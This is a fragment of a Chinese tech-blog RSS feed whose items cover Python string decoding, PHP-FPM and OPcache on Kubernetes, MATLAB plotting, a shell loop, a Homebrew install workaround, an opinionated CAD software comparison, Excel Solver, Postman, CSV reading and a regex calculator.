      <description> 做爬虫可能经常遇到爬取到的数据存在编码问题，简直让人头疼，比如爬取到的是这样的：&#xA;例如：&#xA;\xe4\xbd\xa0\xe5\xa5\xbd\xe4\xb8\x96\xe7\x95\x8c&#xA;中文是： 你好世界&#xA;上面这个是utf-8编码，但数据类型是字符串类型，而不是bytes类型的utf-8编码。&#xA;这样会导致一个结果：如果直接输出，显示的是乱码，也不能使用decode进行utf-8解码得到中文。&#xA;在python2中，中文指定utf-8格式，字符串存入内存就是utf-8编码格式，直接输出就是中文，就不存在这个问题；&#xA;而python3中，字符串存入内存是以unicode编码格式存入的，输出的是默认的utf-8编码格式，所以得到的是乱码。&#xA;可能有人会说，既然得到的是utf-8编码，在前面加上 &#34; b &#34; ，字符串就是bytes类型了，再利用decode进行解码不就可以得到中文吗？但显然，这是行不通的，你不可能去手动一个个添加，那有没有其他方法呢？&#xA;答案肯定是有的，既然知道这个字符串是utf-8编码的，那么我换种方式，只要将字符串中的 &#34; \x &#34; 改为 &#34; % &#34; 利用urllib中的unquote方法解码就可以得到中文了，因为url中的中文utf-8编码和这里的区别就是url中编码是%开头。&#xA;那么其实只要对utf-8字符串反向转换就行，先将字符串编码指定为unicode_escape&#xA;s = &#39;\xe4\xbd\xa0\xe5\xa5\xbd\xe4\xb8\x96\xe7\x95\x8c&#39; s = s.encode(&#39;unicode_escape&#39;) 得到bytes类型数据（单斜杠变成双斜杠）&#xA;b&#39;\\xe4\\xbd\\xa0\\xe5\\xa5\\xbd\\xe4\\xb8\\x96\\xe7\\x95\\x8c&#39; 接着再对bytes类型进行utf-8解码，得到字符串，将字符串中的 &#34; \x &#34; 替换为 &#34; % &#34;&#xA;ss = s.decode(&#39;utf-8&#39;).replace(&#39;\\x&#39;, &#39;%&#39;) 替换作用就是将字符串改为url的utf-8编码格式&#xA;%e4%bd%a0%e5%a5%bd%e4%b8%96%e7%95%8c 最后利用urllib中的unquote方法将url编码解码，得到中文&#xA;un = parse.unquote(ss) </description>
    </item>
    <item>
      <title>php环境配置_使用Rancher在K8S上部署高性能PHP应用程序</title>
      <link>https://bchobby.github.io/posts/68b4db53496a886234fbb2d3ad98000b/</link>
      <pubDate>Thu, 26 Nov 2020 17:51:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68b4db53496a886234fbb2d3ad98000b/</guid>
      <description>介 绍 PHP是网络上最流行的编程语言之一，许多被广泛使用的内容管理系统都使用它开发，如WordPress和Drupal，并为现代服务器端框架(如Laravel和Symfony)提供核心代码。&#xA;尽管PHP很受欢迎，但是其缓慢和难以维护也是众所周知的。近几年这两个毛病已经没有那么严重了，但是高性能的PHP应用程序依然会需要两个功能：OPcache和PHP FastCGI进程管理器(PHP-FPM)。&#xA;在本文中，你将了解到在Kubernetes上如何使用自定义OPcache和PHP-FPM配置部署一个PHP应用程序以提高其性能。你将使用Rancher来部署一个PHP应用程序，该应用程序使用自定义环境变量来动态配置OPcache和PHP-FPM。我们将展示如何在你的Docker镜像中构建PHP-FPM配置选项并在容器中使用环境变量调整它们。&#xA;在PHP中的性能 首先，了解PHP应用程序中如何处理网络请求将对本文接下来的内容很有帮助。&#xA;PHP通常运行在web服务器旁边，处理请求并将它们发送到PHP应用程序中。你可以使用PHP-FPM或mod_PHP来运行你的应用程序，但在本文中我们将使用PHP-FPM，因为其性能优势并且NGINX是最常与PHP-FPM一起使用的web服务器。&#xA;OPcache介绍 OPcache通过在首次调用脚本时将脚本存储在内存中来加速PHP应用程序。进而，随后的请求将从内存而不是文件系统加载，这可以使你的速度提高74%。&#xA;OPcache提供了一些设置，你可以调整这些设置来提高应用程序的性能和可靠性。在本篇教程中，你将了解到如何设置一个PHP Docker镜像，该镜像可以调整OPcache的内存限制、缓存文件数量以及重新验证缓存频率。&#xA;PHP-FPM介绍 PHP-FPM(FastCGI进程管理器)会启动一个或多个进程以运行你的PHP应用程序。与mod_PHP(将PHP捆绑为Apache模块)不同，PHP-FPM使你可以精确控制服务器(或容器)运行的进程数量，以及它们应该如何启动和停止。&#xA;找到一个理想的PHP-FPM配置高度依赖于你的应用程序以及它所服务的请求数量和容器中的内存和CPU限制。我推荐你阅读Hayden James关于这个主题的文章并且在负载测试环境下测试几种不同的配置。&#xA;在K8S上部署一个PHP应用程序 前期准备&#xA;在你进行本篇教程之前，你需要做好以下准备：&#xA;在你本地机器上安装好的DockerDocker Hub或其他Docker镜像仓库上的账号Rancher部署(如果你还没部署，可以按照Quick start进行www.rancher.cn/quick-start/)通过Rancher管理的Kubernetes集群(可以根据文档进行操作：https://rancher2.docs.rancher.cn/docs/cluster-provisioning/_index) 在本教程中使用的所有代码都可以在Github中获取(https://github.com/karllhughes/rancher-php)，或者你可以按照以下步骤从头开始构建应用程序。&#xA;PHP应用程序&#xA;你将要使用的应用程序是一个显示当前日期的PHP文件。创建一个新文件并将其命名为index.php：&#xA;&amp;lt;?phpecho &#39;The current date is &#39; . date(&#39;F jS, Y&#39;); 创建Dockerfile和配置文件&#xA;在Docker Hub上，你可以获得很多PHP Docker镜像，但它们都没有提供使用环境变量来修改OPcache或PHP-FPM配置的简便方法。使用环境变量的优势在于，您无需每次要调整PHP-FPM或OPcache设置时都需要重建PHP映像。这可以让你快速调整你的应用程序以提升性能。&#xA;首先，创建一个名为opcache.ini的新文件。你将复制该文件到PHP镜像中并在Dockerfile中为每个环境变量添加默认值。&#xA;# See https://www.php.net/manual/en/opcache.configuration.php for all available configuration options.[opcache]opcache.enable=${PHP_OPCACHE_ENABLE}opcache.memory_consumption=${PHP_OPCACHE_MEMORY_CONSUMPTION}opcache.max_accelerated_files=${PHP_OPCACHE_MAX_ACCELERATED_FILES}opcache.revalidate_freq=${PHP_OPCACHE_REVALIDATE_FREQUENCY}opcache.validate_timestamps=${PHP_OPCACHE_VALIDATE_TIMESTAMPS} 接下来，创建另一个名为www.conf的新文件。该文件将存储PHP-FPM配置选项，你可以通过环境变量对其进行更新：&#xA;; See https://www.php.net/manual/en/install.fpm.configuration.php for all available configuration options; Required user, group, and port options[www]user = www-datagroup = www-datalisten = 127.</description>
    </item>
    <item>
      <title>matlab axis函数_MATLAB二维图形</title>
      <link>https://bchobby.github.io/posts/a49c3cc8e3a5c78059cd4cd6a62dae81/</link>
      <pubDate>Thu, 26 Nov 2020 17:50:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a49c3cc8e3a5c78059cd4cd6a62dae81/</guid>
      <description>7.2.5 双坐标图和子图&#xA;本小节介绍双坐标图形的绘制方法。另外前面已经有例子涉及了子图的绘制，读者应该有所了解，本小节将详细介绍子图的绘制方法。&#xA;1．双坐标图&#xA;在实际应用中，常常会提出这样一种需求：把同一自变量的两个不同量纲、不同数量级的函数量的变化绘制在同一张图上。例如希望在同一张图上表现温度、湿度随时间的变化；温度、压力的响应曲线；人口数量、GDP的变化曲线；放大器输入、输出电流变化曲线等。为满足这种需求，MATLAB提供了以下几个命令。&#xA;(1)plotyy(X1,Y1,X2,Y2)：以左右不同纵轴绘制X1-Y1、X2-Y2两条曲线。&#xA;(2)plotyy(X1,Y1,X2,Y2,function)：以左右不同纵轴，把X1-Y1、X2-Y2绘制成function指定形式的两条曲线。&#xA;(3)plotyy(X1,Y1,X2,Y2,&#39;function1&#39;,&#39;function2&#39;) 以左右不同纵轴，把X1-Y1、X2-Y2绘制成function1、function2指定的不同形式的两条曲线。&#xA;(4)[AX,H1,H2] = plotyy(...)：函数plotyy将创建的坐标轴句柄保存到返回参数AX中，将绘制的图形对象句柄保存在返回参数H1和H2中。其中，AX(1)中保存的是左侧轴的句柄值，AX(2)中保存的是右侧轴的句柄值。&#xA;【例7-12】 双坐标轴绘图示例。&#xA;Ex_7_12.m&#xA;clear&#xA;x = 0:0.01:20; % x坐标&#xA;y1 = 200*exp(-0.05*x).*sin(x); % Y1&#xA;y2 = 0.8*exp(-0.5*x).*sin(10*x); % Y2&#xA;[AX,H1,H2] = plotyy(x,y1,x,y2,&#39;plot&#39;); % 绘制双坐标轴图形&#xA;set(get(AX(1),&#39;Ylabel&#39;),&#39;String&#39;,&#39;Slow Decay&#39;) % 纵轴标签1&#xA;set(get(AX(2),&#39;Ylabel&#39;),&#39;String&#39;,&#39;Fast Decay&#39;) % 纵轴标签2&#xA;xlabel(&#39;Time (\musec)&#39;) % x标签&#xA;title(&#39;Multiple Decay Rates&#39;) % 图形标题&#xA;set(H1,&#39;LineStyle&#39;,&#39;--&#39;) % 线形1&#xA;set(H2,&#39;LineStyle&#39;,&#39;:&#39;) % 线形2&#xA;以上代码运行的结果如图7-15所示。&#xA;2．子图&#xA;MATLAB允许用户在同一个图形窗口内布置几幅独立的子图，具体的调用语法如下。&#xA;(1)subplot(m,n,P)：使(m x n)幅子图中的第k幅成为当前幅。子图的编号顺序是左上方为第1幅，向右向下依次排序。&#xA;(2)subplot(&#39;Position&#39;,[left bottom width height])：在指定位置上绘制子图，并成为当前图。</description>
    </item>
    <item>
      <title>linux shell 定时1s，循环语句</title>
      <link>https://bchobby.github.io/posts/4dbdb1f75f4973eb77055e0e401edc39/</link>
      <pubDate>Thu, 26 Nov 2020 17:03:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dbdb1f75f4973eb77055e0e401edc39/</guid>
      <description> linux shell 循环语句：&#xA;i=0 while(true) do date ip neigh let i++ if [ $i -eq 10000 ]; then break; fi sleep 1 done </description>
    </item>
    <item>
      <title>mac安装brew失败的巧妙解决方式</title>
      <link>https://bchobby.github.io/posts/ea2e431b67121a329e3460c0baed150d/</link>
      <pubDate>Thu, 26 Nov 2020 16:16:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea2e431b67121a329e3460c0baed150d/</guid>
      <description>mac安装brew失败的巧妙解决方式 我们按照官网的方式，在终端运行命令即可安装，由于众所周知的原因，我们会安装失败。&#xA;原因是访问不了这个脚本文件。&#xA;工具：服务器一台、脚本文件（终端不行，web端就简单多了）方式：根据官网的命令，在浏览器打开地址&#xA;打不开就用下载工具（迅雷之类的），反正想办法下载下来，然后放在自己的服务器，改一下命令就行啦！&#xA;虽然慢，但是起码能安装了。&#xA;不喜勿喷！</description>
    </item>
    <item>
      <title>creo分割实体_SolidWorks、creo、UG哪个更适合机械设计？</title>
      <link>https://bchobby.github.io/posts/11eb9bfbd5ab360a31b89207563fb99e/</link>
      <pubDate>Thu, 26 Nov 2020 16:14:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11eb9bfbd5ab360a31b89207563fb99e/</guid>
      <description>机械设计太广了。综合地讲机械工程师用Creo，UG，机械人员用SOLIDWORKS.&#xA;以下是对三个软件的综合比较：&#xA;Creo，UG的价格都很贵的。SolidWork便宜多了。&#xA;注意：CREO，catia等是ACIS内核，这个内核是偏曲面设计的。&#xA;UG，solidworks等是Parasolid是偏实体设计的。&#xA;所以面曲是Creo及Catia的强项.&#xA;Creo，UG,CATIA是同一个档次的产品。千万不拿来和SOLIDWORKS等一些低端的大众化的产品比。&#xA;如果要说只画个三维用哪个都可以。如果你要偏设计和有逻辑性的产品用Creo。在工业设计领域Creo是最强大的。在加工领域UG是最强大的。&#xA;SOLIDWORKS。怎么说呢，这样比喻不知对不对，就像LINUX和WINDOWS一样。你想运行大的程序和要求稳定和性能就用Linux。想做点事要求也不高就用WINDOWS。运行的速度Creo确实甩Solidworks几条街。大型的机械公司如徐工，潍柴等Creo，UG是主角，Solidworks是配角。关键的技术和产品不会交给Solidworks作为文件存档的。&#xA;Unigraphics NX技术实力强大，难逢对手Unigraphics起源于美国麦道公司的产品，早年运行在工作站的Unix的系统下，受Pro/Engineer打压，1991年11月被并购入美国通用汽车公司EDS分部，Unigraphics由其独立子公司UGS开发，后与同样被并购入的SDRC公司I-deas软件整合，推出UnigraphicsNX，是一个高端的CAD机械工程辅助系统，适用于航空、航天、汽车、通用机械以及模具等的设计、分析及制造工程。&#xA;UG是德国产品，Creo是美国产品。德国人的机械加工和模具是强项。美国的产品设计和软件是强性，这就是为什么Creo的性能可以甩UG几条街的原因。为什么我们要用UG的同时也为硬件厂商项献呢？但在机加工和模具方面Creo比UG是弱一点。因为美国的机械设计方面也不比德国差多少。模具设计如果CREO+EMX+PDX就比UG强大太多了。机加工Cimatron有超UG的趋势。只是一个市场的问题。就像马自达车和大众车一样。两者差距大吗？各有千秋。&#xA;你没有发现UG最近的版本更新所谓的快吗？一月一个小补丁，半年一个大补丁，现在是1867了。说明什么呢？软件开发是它的弱项，没有严格的软件质量管理方案。体现了德国不是软件强国。&#xA;Creo对于很多的初学者来说那个相关性的参数让你头痛。但是当你是一名成熟的设计师你会对Creo爱不释手。就象很多人做事一样很有条理，很有逻辑。不是哪些错了临时补一下。UG就是可以实现修补的(非参)，修补总是会顾此失彼对吧？所以Creo是对那些做事讲究完美或逻辑性强的人用的。UG是为那些做一个产品或完成一项工作的人用的。我举个例子吧UG里有个槽功能吧，在圆柱体的表面开一圈槽。这么简单的特征确要单独列出一个功能来。在Creo不就是绕一个圆柱的表面用扫描的方法按一定的形状切除材料吗？这个形状你可以随意的，也可以在它里面切个看不到的水槽也行。操作步骤：草绘》扫描》草绘截面》选切材料》OK。你看UG会弹出多少对话框呀。这就是思维缜密的表现。&#xA;有人说catia主要应用领域是汽车和飞机制造，CREO主要应用领域是产品制造，NX主要应用领域是模具制造.这是错误的理解，一些大型的公司CREO,CATIA,UG同时用，在不同的部门用的。你不能说一线的加工部门用Catia吧(女人何苦为难女人呢)。否则你会融入不进那个圈子的。你是搞Creo，Catia的，你偏要与用SOLIDWORKS,Autodesk Inventor，Solidedge(UG简化版)等为伍。你肯定会受到排挤的。就像你一个文化人你非要去和吸毒为伍。。哈哈。&#xA;说说SOLIDWORKS.首先我声明不是黑它。我实事求是。。。。它的性能很差劲，我怀疑是不是在帮硬件厂买硬件。Bug也是相当的多。这个创始人是从Creo离职出来的想和Creo竞争---自不量力。就象我们现在中国的一软件公司技术员出来自已也搞一个与打工的公司一样的产品---哪一个成功的呢？再说Solidworks用的是人家Solidedge的内核！每年老老实实的要向人家交钱！人家不卖的话，你这个软件就只有倒闭了！最后还是被收购的命运。&#xA;产品千变万化，从软件层面讲，除了与产品定位相关的分型面只能去适应产品而做不到自动化外，其余则都应做到自动化及智能化，最大限度提高设计效率，减少重复劳动！而CREO的参数化则从战略上提供了这种条件。而UG则只能在战术上去适应，你再这么熟练软件，离开了参数化，到老了还是手动模式。可惜，要真正领略参数化，需要在前期付出巨大的工作量才能达到，就是所谓的厚积薄发！&#xA;但同样是手动模式，在没有战略支持的情况下，CREO在战术上没有UG那样的灵活，这就是99%的人干不过过UG的原因！&#xA;总的来说,用UG做模具设计的都是去掉参数不保留参数的做法,没有了参数就不会像CREO那样方便了,不要说什么UG没参数还好修改,这只不过是针对单一一个零件而言的,当很多零件存在很多关系时没有参数就麻烦了,所以为什么做产品设计的用UG不多的原因,还有一个因素是UG入门比较方便,入门容易,不会像CREO那样存在着参数化的理念,如果不懂它的理念,你画图时很容易再生出错误,而因为之前选的参照混乱,所以很多时候都不知道错在哪里而让你发狂,这都是不会选参照的原因,所以很多人觉得它不好用,只不过是那些人还不明白这个软件的理念原理才说它不好不如哪个软件等等不负责任的言论出现,它不像UG,UG可以随时把参数干掉,就不会存在再生错误了,而UG操作起来确实是比CREO方便一些,用替换功能比CREO好,而且UG是可以多实体存在的,而CREO要多实体只能在装配模块里才能实现,不过现在CREO 4.0好像在分模模块也可以运用到了柔性建模的功能,封闭曲面的面也可以替换了吧,要知道之前的版本如果不是实体是不能用曲面替换曲面的,总的来说,各有优缺点,就看用它的人是什么水平了.&#xA;很多大型家具厂都在用UG,比如全友，宜家,掌上明珠等等。但是个人认为真的适合做家具的软件 UG,solidedge，ThinkDesign，TopSolidWood，Rhino都可以完爆Solidworks！&#xA;CREO有二十多个模块供用户选择，故能将整个设计和生产过程集成在一起。在最近几年CREO已成为三维机械设计领域里最富有魅力的软件，在台湾模具工厂得到了非常广泛的应用。这就是为什么台湾的产品质量比大陆好一些的原因。模具设计EMX FOR CREO，是PTC公司合作伙伴BUW公司的产品。绝对把UG模具设计PK掉。不过很多人不知道有个低调的EMX和PDX.它和Creo是如此的完美配合&#xA;机械设计范围太广，一般来说，结构复杂的都使用CREO, 例如发动机，手机，空调..据我所知，康明斯，AVL，三菱都使用CREO设计发动机。一些航空研究所都使用使用PCREO设计。6 X/ K0 d+ n) m6 `特灵空调，美的，海尔，sharp,siemens(没错西门子就是UG的主人),WHIRLPOOL, PHILIPS,panasonic,OTIS, lenovo, kohler,Huawei, GE,Emerson,ericsson,东风，danfoss，CATERPILLAR，alstom都是CREO用户---重工行业，三一，柳工，夏工，现代都是。&#xA;就说做分型面分开上下模来说，UG并不一定就比creo好，只能说是各有优缺点，就拿UG那个模具专用模块分模和creo的模具制造模块来说，如果说到自动创建分型面补孔什么的，CREO的速度要比UG快很多，UG每补一个孔都是按正规的做面方法一步步生成特征而来的，你打开那个特征树看一下就知了，补一个很简单的孔都要用到几个特征，几个特征放在一个组就是一个补孔的特征，如果孔不是很多，那速度可能也不比creo慢很多，如果是补很多的孔？呵，你用UG那个自动补孔功能，你可能只能呆坐那里慢慢等它补好计算完毕了，这过程对于争分夺秒的模具设计过程来说，是很漫长的等待。不像creo一个裙边就可以数秒把图形中的所有不是很不规则的孔补好了，当然不是不规则的就补不出来，只是自动补出来的效果不好，根本是不能拿来用的，当然不是说creo的自动补孔功能不够强，所以不规则复杂些就不行，那些不规则复杂的孔creo补不上或者效果不好的，放在UG里也是一样的结果，没有多大区别，一样是要把那些不好的补孔删除，自己手动去创建。&#xA;CREO的自动创建分形面的方法不多，也是阴影和裙边这两个吧，阴影可能是极少有人用到的，毕竟它的可用处不大，但如果是做某些简单的最外围大分型面是平面的而且是一模出很多穴的模具那它可以派上用场了，一个阴影就可以迅间把分型面做出来了，而且分割成功率是最高的，当然在CREO里用得比较多的还是裙边那个自动创建分型面的命令，很多用CREO分模的人可能还是很少用到这个命令的，但不得不否认这个裙边命令是很好用的，某些人可能习惯于手动创建分型面，他们根本没有深入了解或者是还不怎么会利用这个命令就说它不好，其实用它来创建最外围的分型面和补孔效率是很高的，我是经常用这个命令来分模，一个裙边命令就可以把产品中的所有孔补上来，当然有些孔是补不上的，补不上的原因是你创建的侧面影象曲线没有闭合，或者是孔极不规则，例如补那些螺丝孔，一个产品图形可能有很多这样上螺丝的孔，如果你用燕秀那个什么都是拉伸一个封闭面组来做的话，不做累你才怪，如果是同一个高度还方便，可以在同一个特征里就可以全部做出来，但很多时候那些孔也是高低不一样的，你按燕秀分模法去做，只能一个孔拉伸一个特征，如果不是平面还要做一个曲面来和拉伸合并才能补好，一个图型有多个孔不知你要做多少个特征多长时间才补好呢？当你只补好这些孔时，我用我的综合分模法已经分出上下模了，只能说碰到什么情况就要用到最合适的方法，不要让自己走进死胡同里。软件是死的不变的，都是一样的命令一样的结果，关键是人是灵活的可变的，想一想用什么方法最合适最快最简单做出来才是你比别人优势的地方，在这里不得提一下裙边还有一个好处就是用裙边做出来的分型面分割的成功率是非常之高的，用裙边创建出来的分型面里出现问题是很少了，如果你的侧面影像曲线做得好，生成的面没有自交断开或者是重叠，基本上是没问题的，它的使用技巧在这里我就不说了。&#xA;UG对电脑硬件的要求确实是要比CREO高一些，我用UG分过一些并不是很大很复杂的图形，当创建了多个特征时，电脑运行速度变慢，有时打开一个命令都要等上十多几十秒的时间，这样的响应速度对于设计工作者来说，真的是令人很恼火的，只能埋怨公司或者是自己的电脑配置不行，当然我公司的电脑配置已经不算低了,I5 CPU、4G内存，显示卡中等以上都是这样。&#xA;显然现在很多人用UG分模都是不在那个专门的模具模块里搞的，都是手动分模占多数，特别是遇到复杂的图形时，这个应该说是建模方式的分模方法，只是会经常用到模具模块里提供的那几个补孔创建分型面命令。UG分模比CREO灵活，操作起来也是比CREO方便很多，应该说CREO在那几个主流的三维机械类软件里操作最繁琐最不人性化最麻烦的软件了，现在最新版本CREO比以前所有的CREO版本操作起来方便人性化一些，但本质上也是没有多大区别的，只是界面变化比较大比较图标化而已。CREO的优势在于参数化比较强，修改起来比较容易。如果是单从分模来说，我觉得CREO有些情况要比UG方便，只不过是UG可以多实体操作的，布尔运算很方便，这点CREO只能在组件模式下才能实现，但效率和操作起来就更加麻烦了。CREO最不好的地方或者应该说是最拖分割时间的地方是经常会遇到分割失败，有经验的人遇到分割失败时都会有自己的解决方法，当然解决问题的快慢是很难定义的，有时可能创建分型面用的时间很短，但偏偏分割里就分不开，这时你只能找到分不开的原因是什么，可能你找了很久试了N种方法都不知问题在哪里，对于PREO分割不开处理能力经验不够多的人来说就会抱怨和着急起来了，同事老板在催促怎么那么久还没搞定？难受！但问题还是会有解决方法的，用CREO没有分不开的模具，关键在于用它的人道行到了什么地步。这也是为什么有很多人说CREO分模比不过UG的原因之一。当然用UG就并不是没有分割不开的时候，UG也会经常遇到割不开的，原因其实也是和CREO割不开是一样的道理。&#xA;如果你要用UG那个模具模块分模，你一保存就会生成很多个文件，这个比CREO还麻烦，不过生成的都是有派上用场的文件吧，不像CREO一保存就会保存很多个版本，以前的旧版本如果你不删掉的话，它会一直累积下来的，到时可能一个文件可是几百KB的容量，到最后可能累积到上百MB的情况，视你保存的次数而定。UG自动分模必须要先定义型芯和型腔的颜色面，这点比CREO不方便，虽然UG可以通过颜色选面，同时也是在模具分型上是必须要做的，那这也是很麻烦，很多时候有些不能定义在前模或者是在后模上的面，要手动拆分分类才能定义好，这确实也是很累人的。当然UG也可以不用选择产品的所有面来分型，用手动分模也是只补好孔就行了，先用产品图形和补孔的实体和模坯料求差，最后用面或者是实体分割还有连接的地方就可以分出上下模了。&#xA;就分模来说，CREO并不比UG差，甚至比UG还快还方便，CREO速度比不UG主要是在做全三D的模具设计之上，UG有很多外挂可安装使用，相反在CREO上好用的外挂很少，好像没有多少人愿意为CREO开发软件一样，这不得不说是UG的优势所在，如果是做整套模具的三维设计，当然是用UG比CREO要方便效率要高些。&#xA;上面这些说到的都是本人的一些浅见，软件用得并不是很深，但都懂得它们的原理，大家平时要多聊些技术上的话题少聊软件哪个好哪个强的比较问题，这本身就是很无聊的问题，关键在于我们自己是否已经掌握了这个行业的专业知识才是最重要的，如果你只懂得用UG或者是CREO，但你并不懂模具结构不懂模具行业的专业知识，那么UG或者是CREO对于你来说是工具，但你就只是专业人士的绘图工具。&#xA;本文章不代表本公众号观点,大家有什么想法呢？可以评论区讨论。&#xA;小编用的是Solidworks,建模简单方便，装配体方便。我觉得每种软件都有他的优势，也有他的缺点。存在即合理，用着方便才是硬道理。</description>
    </item>
    <item>
      <title>求解随机数的算法流程图_规划求解Solver: 三种求解方法的应用(原创)</title>
      <link>https://bchobby.github.io/posts/ba9f34a8f7325cd353d9c59084856184/</link>
      <pubDate>Thu, 26 Nov 2020 12:55:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba9f34a8f7325cd353d9c59084856184/</guid>
      <description>Frontline 公司的规划求解, 在90年代的Excel就开始配备了, 不过这么多年过去了, 求解算法还是没有什么大改进, 可能是想大家去买他们公司的升级版Analytic Solver, 以便得到更快的求解速度和更多变量和约束(基础版的,也就是Excel内置的, 限制200个变量, 100个约束, 超过就报错).&#xA;三种求解方法:&#xA;GRG Non-Linear&#xA;中文翻译是: 非线性GRG, GRG 代表Generalized Reduced Gradient, 这是一种常见的非线性规划求解的方法, 大部分时候, 求解的方法, 是根据输入的数值(变量)的变化, 根据目标函数的变化率, 判断是否得到一个局部最优解. 如果得到了局部最优解, 就停止搜索. Excel默认是非线性GRG 求解法. Simplex 单纯形法&#xA;线性规划的话, 可以用Simplex单纯形法进行求解. 怎么判断一个模型是线性规划模型, 建议大家看这个百度百科.&#xA;线性规划_百度百科​baike.baidu.com 如果是线性规划, 用Simplex法比Non Linear GRG 快得多. 跟GRG不同的地方是, Simplex法求得的是全局最优解. 而GRG法只是求局部最优解. 什么是全局最优?什么是局部最优?&#xA;看下图, 红色这个G点, 就是局部最优. 从开始出发, GRG找呀找, 找到一个低谷, 就停止搜索了, 返回这个解, 就是局部最优. 其实最低的点, 应该是在蓝色S点(全局最优)那个地方.&#xA;Simplex这个求解器, 如果是普通线性规划, 用的是单纯形算法; 如果是整数线性规划, 用的是分支定界法. 另外, 生活工作中大部分的线性规划, 都是整数线性规划, 注意把整数最优率设置为0(默认是1%), 如下图. 如果用默认的, 可能只能得到的非全局最优的整数解. 设置为0的话, 可以得到全局最优整数解, 但很多情况下会导致速度的下降.</description>
    </item>
    <item>
      <title>Postman 安装使用和配置</title>
      <link>https://bchobby.github.io/posts/e1c244f2feb1d0eae65296eb4e963db5/</link>
      <pubDate>Thu, 26 Nov 2020 11:32:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1c244f2feb1d0eae65296eb4e963db5/</guid>
      <description>目录&#xA;安装&#xA;配置：&#xA;1，配置Interceptor&#xA;2，导入标签&#xA;问题处理&#xA;1，postman黑屏&#xA;安装 Postman最早是作用chrome浏览器插件存在的，可以到chrome商店搜索下载安装。但2018年初Chrome停止对Postman 插件的支持。不过目前商店里面支持： Tabbed Postman插件。&#xA;安装后，配置下 Headers 就可以用了&#xA;比如配置： Content-Type application/json;charset=utf-8&#xA;不过Tabbed Postman 不支持文件夹，查看起来比较麻烦，所以还是会想使用Postman&#xA;目前Postman提供了独立的安装包，不再依赖于Chrome浏览器了。同时支持MAC、Windows和Linux，&#xA;Postman 下载地址：postman 下载地址&#xA;根据自己电脑的版本去进行下载安装&#xA;配置： 1，配置Interceptor 配置好Interceptor就会默认保存登录信息&#xA;2，导入标签 导入文件后，点击一个进行测试，可以访问说明OK&#xA;（PS: 在换电脑前，可以先备份下原来postman的内容，新电脑安装后就可以直接导入了）&#xA;问题处理 1，postman黑屏 现象：&#xA;时不时会出现黑屏的情况，关了postman重新开也一样，用起来就很麻烦。重启指标不治本，还麻烦。&#xA;解决方式：&#xA;添加系统环境变量POSTMAN_DISABLE_GPU = true。&#xA;0，打开电脑的属性&#xA;1.打开高级系统设置；&#xA;2.在“高级”选项卡中，单击“环境变量”；&#xA;3.添加一个新的系统变量；&#xA;4.关闭Postman并重新打开（或者重启电脑）&#xA;目前关于postman的操作先到这里面，后面有遇到新的再添加&#xA;PS： 平时记录下软件操作的一些内容，再遇到的时候，打开来看看，就方便很多了</description>
    </item>
    <item>
      <title>python如何读取csv文件某几行某几列,Python：使用Excel CSV文件只读某些列和行</title>
      <link>https://bchobby.github.io/posts/0a7da12adf2d74defbb36033c8283cca/</link>
      <pubDate>Thu, 26 Nov 2020 10:14:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a7da12adf2d74defbb36033c8283cca/</guid>
      <description>While I can read csv file instead of reading to whole file how can I print only certain rows and columns?&#xA;Imagine as if this is Excel:&#xA;A B C D E&#xA;State |Heart Disease Rate| Stroke Death Rate | HIV Diagnosis Rate |Teen Birth Rate&#xA;Alabama 235.5 54.5 16.7 18.01&#xA;Alaska 147.9 44.3 3.2 N/A&#xA;Arizona 152.5 32.7 11.9 N/A&#xA;Arkansas 221.8 57.4 10.2 N/A&#xA;California 177.9 42.2 N/A N/A</description>
    </item>
    <item>
      <title>简易计算器python_python 简易四则运算计算器</title>
      <link>https://bchobby.github.io/posts/17c1652ea4fb2eb270a6264679a467ad/</link>
      <pubDate>Thu, 26 Nov 2020 09:40:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17c1652ea4fb2eb270a6264679a467ad/</guid>
      <description># c=a if 成立就用c=a表达式 else b ， 不成立c=b&#xA;import re&#xA;s_input=&#34;1 - 2 * ( (60-30 +(-40/5) * (9-2*5/3 + 7 /3*99/4*2998 +10 * 568/14 )) - (-4*3)/ (16-3*2) )&#34;&#xA;def Judging_Conformity(x):#判断式子里面是否只有数字和*/+-()空格或者有**、//、+*、*.、等错误形式&#xA;flag=True&#xA;if re.findall(&#34;[^*/+\-() \d]|[*/+\-.]+[*/+\-.]+|\([*/+]+|\.\d*\.&#34;,x):&#xA;flag=False&#xA;return flag&#xA;def format_replace(x):#格式化去掉空格&#xA;x=x.replace(&#34; &#34;,&#34;&#34;)&#xA;return add_sub(remove_md(x))&#xA;def add_sub(x):&#xA;x=re.sub(&#34;\+-|-\+&#34;,&#34;-&#34;,x)&#xA;x=re.sub(&#34;--|\+\+&#34;,&#34;+&#34;,x)&#xA;if not re.findall(&#34;[\d]+[+\-][\d]+&#34;,x):&#xA;if x[0]==&#34;+&#34;:#去掉最后在数字前面的+&#xA;x=x[1:]&#xA;return x&#xA;else:&#xA;k=re.search(&#34;-?[\d.]+[+-][\d.]+&#34;,x).group()&#xA;k3=k&#xA;if x[0]==&#34;-&#34;:#如果开头有-号&#xA;k=k[1:]&#xA;k2=float(&#34;-&#34;+k.split(&#34;+&#34;)[0])+float(k.split(&#34;+&#34;)[1]) if &#34;+&#34; in k else float(&#34;</description>
    </item>
    <item>
      <title>数据挖掘常见算法整理 (国科大 刘莹)</title>
      <link>https://bchobby.github.io/posts/b6c8ea5dd31b0ed9c0cc7aa1a80ec233/</link>
      <pubDate>Thu, 26 Nov 2020 00:26:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6c8ea5dd31b0ed9c0cc7aa1a80ec233/</guid>
